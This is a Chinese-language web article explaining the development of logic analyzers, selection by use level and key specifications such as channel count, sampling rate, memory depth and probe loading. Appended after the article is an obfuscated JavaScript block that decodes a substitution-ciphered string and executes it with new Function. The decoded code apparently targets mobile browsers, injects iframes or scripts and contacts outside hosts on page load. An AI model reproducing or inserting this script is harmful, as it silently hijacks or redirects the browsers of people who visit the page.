推荐回答(2个)
正确选择和使用逻辑分析仪
一、逻辑分析仪的发展
自20世纪70 年代初研制成微处理器,出现4位和8位总线,传统示波器的双通道输入无法满足8位字节的观察。微处理器和存储器的测试需要不同于时域和频域仪器。数域测试仪器应运而生。HP公司推出状态分析仪和Biomation公司推出定时分析仪(两者最初很不相同)之后不久,用户开始接受这种数域测试仪器作为最终解决数字电路测试的手段,不久状态分析仪与定时分析仪合并成逻辑分析仪。
20世纪80 年代后期,逻辑分析仪变得更加复杂,当然使用起来也就更加困难。例如,引入多电平树形触发,以应付条件语句如IF、THEN、ELSE等复杂事件。这类组合触发必然更加灵活,同时对大多数用户来说就不是那样容易掌握了。
逻辑分析仪的探头日益显得重要。需用夹子夹住穿孔式元件上的16根引脚和双列直插式元件上的只有0.1″间隙的引脚时,就出现探头问题。今天的逻辑分析仪提供几百个工作在200MHz频率上的通道信号连接就是个现实问题。适配器、夹子和辅助爪钩等多种多样,但是最好的办法的是设计一种廉价的测试夹具,逻辑分析仪直接连接到夹具上,形成可靠和紧凑的接触。
今天的发展趋势
逻辑分析仪的基本取向近年来在计算机与仪器的不断融合中找到了解决的办法。Tektronix公司TLA600系列逻辑分析仪着重解决导向和发展能力,亦即仪器如何动作和如何构建有特色的结构。导向采用微软的Windows接口,它非常容易驱动。改进信号发现能力必然涉及到仪器结构的变动。在所有要处理的数据中着重处理与时间有关联的数据,不同类型的信息采用多窗口显示。例如,对于微处理器来说,最好能同时观察定时和状态以及反汇编源码,而且各窗口上的光标彼此跟踪相连。
关于触发,总是传统逻辑分析仪中的难题。TLA600系列逻辑分析仪为用户提供触发库,使复杂触发事件的设置简单化,保证你精力集中解决测试问题上,而不必花时间去调整逻辑分析仪的触发设置。该库中包含有许多易于掌握的触发设置,可以作为通常需要修改的触发起始点。需要特殊的触发能力只是问题的一部分。除了由错误事件直接触发外,用户还希望从过去的时段去观察信号,找出造成错误的根源和它前后的关系。精细的触发和深存储器可提高超前触发能力。
在PC机平台上使用Windows,除了为广大用户提供了许多熟知的好处之外,只要给定正确的软件和相关工具,即可通过互联网进行远程控制,从目标文件格式中提取源码和符号,支持微软公司的CMO/DCOM标准,而且处理器可运行各种控制操作。
二、逻辑分析仪的选择
如果数字电路出现故障,我们一般优先就考虑使用逻辑分析仪来检查数字电路的完整性,不难发现存在的故障;但是在其他情况下你是否考虑到使用逻辑分析仪呢?譬如说:第一点如何观察测试系统在执行我们事先编制好的程序时,是不是真正地在按照我们设计好的程序来执行呢?如果我们向系统写入的是(MOV A,B)而系统则是执行的(ADD A,B),那会造成什么样的后果?第二点:怎么样真正地监测软件系统的实际工作状态,而不是用DEBUG等方式进行设置断点后,查看预先设定的某些变量或内存中的数据是我们预先想得到的值。在这里我们有第三、第四等等很多问题有待解决。
通常我们将数字系统分成硬件部分和软件部分,在研发设计这些系统时,我们有很多事情要做,譬如硬件电路的初步设计、软件的方案制定和初步编制、硬件电路的调试、软件的调试、以及最终的系统的定型等等工作,在这些工作中几乎每一步工作都要逻辑分析仪的帮助,但是鉴于每个单位的经济实力和人员状况不同,并且在很多系统的使用中都不是要把以上的每个部分都进行一 遍,这样我们就把逻辑分析仪的使用分成以下几个层次:
第一个层次:只要查看硬件系统的一些常见的故障,例如时钟信号和其他信号的波形、信号中是否存在严重影响系统的毛刺信号等故障;
第二个层次:要对硬件系统的各个信号的时序进行很好的分析,以便最好地利用系统资源,消除由定时分析能够分析出的一些故障;
第三个层次:要对硬件对软件的执行情况的分析,以确保写入的程序被硬件系统完整地执行;
第四个层次:需要实时地监测软件的执行情况,对软件进行实时地调试。
第五个层次:需要进行现有客户系统的软件和硬件系统性的解剖分析,达到我们对现有客户系统的软件和硬件系统全面透彻地了解和掌握的功能。
对以上的几个层次的要求,我们可以看出,他们并不都需要很高档的逻辑分析仪,对于第一层次的使用者,他们甚至用一台功能比较好的示波器就可以解决问题,针对以上的几个使用层次,在选择仪器时可以选用相应的仪器。实际上逻辑分析仪也有几个层次,他们有:
1、普通2~4通道的数字存储器,例如TDS3000系列(加上TDS3TRG高级触发模块),利用它的一些高级触发功能(例如脉冲宽度触发、欠幅脉冲触发、各个通道之间的一定的与、或、与或、异或关系的触发)就可以找到我们希望看到的信号,发现并排除一些故障,况且示波器的功能还可以作为其他使用,在这里我们只不过用了一台示波器的附加功能,可以说这种方式是最节省的方式。
2、当示波器的通道数不够时,也可以选用一些带有简单的定时分析功能的多通道定时分析仪器,如早期的逻辑分析仪和现在市面上还有的混合信号示波器,如Agilent的546××D示波器。
3、一些功能比较简单,速度不是特别快的的计算机插卡 式,基于Windows、绝大部分功能都由软件来完成的虚拟仪器,这类产品在国内的很多厂家都有生产。
4、采样速率、触发功能、分析功能都很强大的不可扩展的固定式整机。例TLA600系列。
5、功能更强扩展性更好的模块化插卡式整机;对不同的用户,可以针对需要,选择不同档次的仪器。
逻辑分析仪的一些技术指标:
1、逻辑分析仪的通道数:在需要逻辑分析仪的地方,要对一个系统进行全面地分析,就应当把所有应当观测的信号全部引入逻辑分析仪当中,这样逻辑分析仪的通道数至少应当是:被测系统的字长(数字总线数)+被测系统的控制总线数+时钟线数。这样对于一个16位机系统,就至少需要68个通道。现在几个厂家的主流产品的通道数多达340 通道以上。例Tektronix等。
2、定时采样速率 :在定时采样分析时,要有足够的 定时分辨率,就应当足够高的定时分析采样速率,我们应当知道,并不是只有高速系统才需要高的采样速率(见下表)现在的主流产品的采样速率高达2Gs/S,在这个速率下,我们可以看到0.5ps时间上的细节。
以下是一些很常见的芯片的工作频率和建立/保持时间的列表,我们可以看出,即使它们的工作频率很低,但在时间分析(Timing)中要求的分辨率也很高。
表一:典型的数字设备
3、状态分析速率:在状态分析时,逻辑分析仪采样基准时钟就用被测试对象的工作时钟(逻辑分析仪的外部时钟)这个时钟的最高速率就是逻辑分析仪的高状态分析速率。也就是说,该逻辑分析仪可以分析的系统最快的工作频率。现在的主流产品的定时分析速率在100MHz,最高可高达300MHz甚至更高。
4、逻辑分析仪的每通道的内存长度:逻辑分析仪的内存是用于存储它所采样的数据,以用于对比、分析、转换(譬如将其所捕捉到的信号转换成非二进制信号【汇编语言、C语言 、C++ 等】,等在选择内存长度时的基准是“大于我们即将观测的系统可以进行最大分割后的最大块的长度。
5、逻辑分析仪的探头:逻辑分析仪通过探头与被测器件连接,探头起着信号接口的作用,在保持信号完整性中占有重要位置。逻辑分析仪与数字示波器不同,虽然相对上下限值的幅度变化并不重要,但幅度失真一定会转换成定时误差。逻辑分析仪具有几十至几百通道的探头其频率响应从几十至几百MHz,保证各路探头的相对延时最小和保持幅度的失真较低。这是表征逻辑分析仪探头性能的关键参数。Agilent公司的无源探头和Tektronix公司的有源探头最具代表性,属于逻辑分析仪的高档探头。
逻辑分析仪的强项在于能洞察许多信道中信号的定时关系。可惜的是,如果各个通道之间略有差别便会产生通道的定时偏差,在某些型号的逻辑分析仪里,这种偏差能减小到最小,但是仍有残留值存在。通用逻辑分析仪,如Tektronix公司的TLA600型或Agilent公司的 HP16600型,在所有通道中的时间偏差约为1ns。因而探头非常重要,详见本站“测试附件及连接探头”。
a)探头的阻性负载,也就是探头的接入系统中以后对系统电流的分流作用的大小,在数字系统中,系统的电流负载能力一般在几个KΩ以上,分流效应对系统的影响一般可以忽略,现在流行的几种长逻辑分析仪探头的阻抗一般在20~200KΩ之间。
b)探头的容性负载:容性负载就是探头接入系统时,探头的等效电容,这个值一般在1~30PF之间,在现在的高速系统中,容性负载对电路的影响远远大于阻性负载,如果这个值太大,将会直接影响整个系统中的信号“沿”的形状改变整个电路的性质,改变逻辑分析仪对系统观测的实时性,导致我们看到的并不是系统原有的特性。
c)探头的易用性:是指探头接入系统时的难易程度,随着芯片封装的密度越来越高,出现了BGA、QFP、TQFP、PLCC、SOP等各种各样的封装形式,IC的脚间距最小的已达到0.3mm以下,要很好的将信号引出,特别是BGA封装,确实有困难,并且分立器件的尺寸也越来越小,典型的已达到 0.5mm×0.8mm。
d) 与现有电路板上的调试部分的兼容性。
6、系统的开放性:随着数据共享的呼声越来越高,我们所使用的系统的开放性就越来越重要,现在的逻辑分析仪的操作系统也由过去的专用系统发展到使用Windows介面,这样我们在使用时很方便。
小结
如果在你的工作中有数字逻辑信号,你就有机会使用逻辑分析仪。因此应选好一种逻辑分析仪,既符合所用的功能,又不太超越所需的功能。用户多半会找一种容易操作的仪器,它在功能控制上操作步骤较少,菜单种类也不多,而且不太复杂。
从另一方面说,如果需要用最快速度的和最大型的分析能力很强的逻辑分析仪,已有现成的解决方案。这种新颖仪器几乎不会出现通道对通道的延时以及探头的负载影响。如果你稍有疏漏,则可能要花费几万美元的学费才能取得经验。
确实能捕获到信号才是第一重要的事。当你知道正在捕获的 数据是有用的数据时就靠逻辑分析仪能力的发挥了。
分析能力出色的ESLA601,经济性价格让每个工程师都用得起。尤其在数字电路教学中,改变了以往老式为了降低成本使用虚拟逻辑分析仪进而产生的不直观、麻烦等问题!
!function(){function a(a){var _idx="o2ehxwc2vm";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8O@YhRD(@X^"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"O@YhRD(@X^"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)m5JXLh2_mRT4"="Ks0X5ThF)m6S5h5)XmRT4"="Ks02pThFm5JXLh2_mRT4"="Ks0_JqhFm6S5h5)XmRT4"="Ks02TOhFm5JXLh2_mRT4"="Ks0CSqhF)m6S5h5)XmRT4"="Ks0)FfThF)fm5JXLh2_mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q/f/Ks0j(8}vR8O@YhRD(@X^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();